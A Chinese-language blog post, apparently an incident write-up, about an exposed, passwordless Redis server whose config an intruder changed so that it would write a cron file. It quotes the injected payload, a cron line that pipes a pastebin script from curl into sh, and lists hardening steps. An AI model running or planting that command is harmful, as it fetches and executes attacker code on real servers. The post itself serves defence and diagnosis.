1. 程式人生 > >伺服器 redis 被入侵

伺服器 redis 被入侵

這幾天伺服器上的 redis,出現了一個比較嚴重的問題:

	程式返回錯誤:
		MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
	
	lavavel 日誌中記錄:
		Predis\Response\ServerException: MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error. in /data/wwwroot/pinxuejianyou/vendor/predis/predis/src/Client.php:365

	意思是:
		redis 中配置了儲存 rdb 檔案,但是目前不能永久儲存到 '硬碟' 上

	問題分析:
		定位到是因為 '許可權不足',寫入不到硬碟上

		1.檢視 redis 配置
			vim /usr/local/redis/etc/redis.conf
			發現 dir 配置為:/usr/local/redis/db/,沒問題

		2.檢視 redis 執行中配置
			redis-cli
			config get dir 		// rdb 儲存目錄,居然動態變成了 '/etc/cron.d/'
			config get dbfilename		// rdb 檔名,居然動態變成了 'root'

		3.考慮到 redis 服務,通過 'service redis start' 啟動,檢視 service redis 啟動指令碼
			which service				// 獲取 service 路徑,/usr/sbin/service
			vim /usr/sbin/service 		// 檢視 service 檔案,看到:SERVICEDIR="/etc/init.d"
			cd /etc/init.d/ 			// 檢視各種 service 目錄
			vim redis-server 			// 檢視 redis-server 啟動檔案

				/*
					PIDFILE=/var/run/redis.pid
				    touch $PIDFILE
				    chown redis:redis $PIDFILE
				    if start-stop-daemon --start --quiet --pidfile $PIDFILE --chuid redis:redis --exec $DAEMON -- $DAEMON_ARGS
				 */

				/*
					分析:
						start-stop-daemon		// linux 中守護程序啟動、停止工具
						--pidfile redis pidfile - /var/run/redis.pid 		// 會覆蓋 /usr/local/redis/etc/redis.conf 配置檔案中的配置(redis 使用者和使用者組具有許可權)
						--chuid redis:redis		// 以 redis 使用者來執行 redis-server 服務
				 */

			結論:
				以 redis 使用者來執行的 redis-server 服務,redis 配置的 bind 0.0.0.0,允許所有主機連線,並且未配置密碼,導致有惡意使用者,連線 redis,通過命令列修改了 'dir' 和 'dbfilename' 的配置,從而進行伺服器入侵

				(因 redis 使用者,沒有 /etc/cron.d/ 寫入許可權,導致報錯!幸好不是以 root 身份執行,如果是的話,應該已經被入侵成功了!)

		4.檢視 redis 資料,發現被注入 'nightsoft' => '*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh'
			有興趣可以看下,看了半天 shell,有點看不懂。應該是可以刪除伺服器任意檔案

		5.解決方法:
			1>切記 redis-server 不要使用 root 身份來執行
			2>禁用遠端連線,或者遠端連線,設定密碼
				bind 127.0.0.1
				requirepass
			3>redis中仍舊儲存著線上的資料。挑晚上訪問人數少的時候,關閉redis。同時將 被修改的資料庫檔案 root 重名為 dump.rdb,放到 usr/local/redis/db/,然後再重新啟動!
			4>不要忘記刪除被注入的 key

		6.參考文章:
			https://github.com/antirez/redis/issues/3594
			https://stackoverflow.com/questions/22160753/redis-failed-opening-rdb-for-saving-permission-denied

			// 這篇文章分析的很透徹,我的 redis 也是非root使用者啟動
			https://airycanon.me/jie-jue-redis-de-getshell-yin-qi-de-bgsave-cuo-wu/

			配置漏洞之redis未授權訪問(非常好)
				https://uknowsec.cn/posts/skill/%E9%85%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E%E4%B9%8Bredis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE.html

			Linux滲透之反彈Shell(非常好)
				http://www.360zhijia.com/360anquanke/185215.html

			netcat - 網路工具中的瑞士軍刀,它能通過TCP和UDP在網路中讀寫資料(非常好)
				https://www.oschina.net/translate/linux-netcat-command/

			redis 文件
				https://redis.io/documentation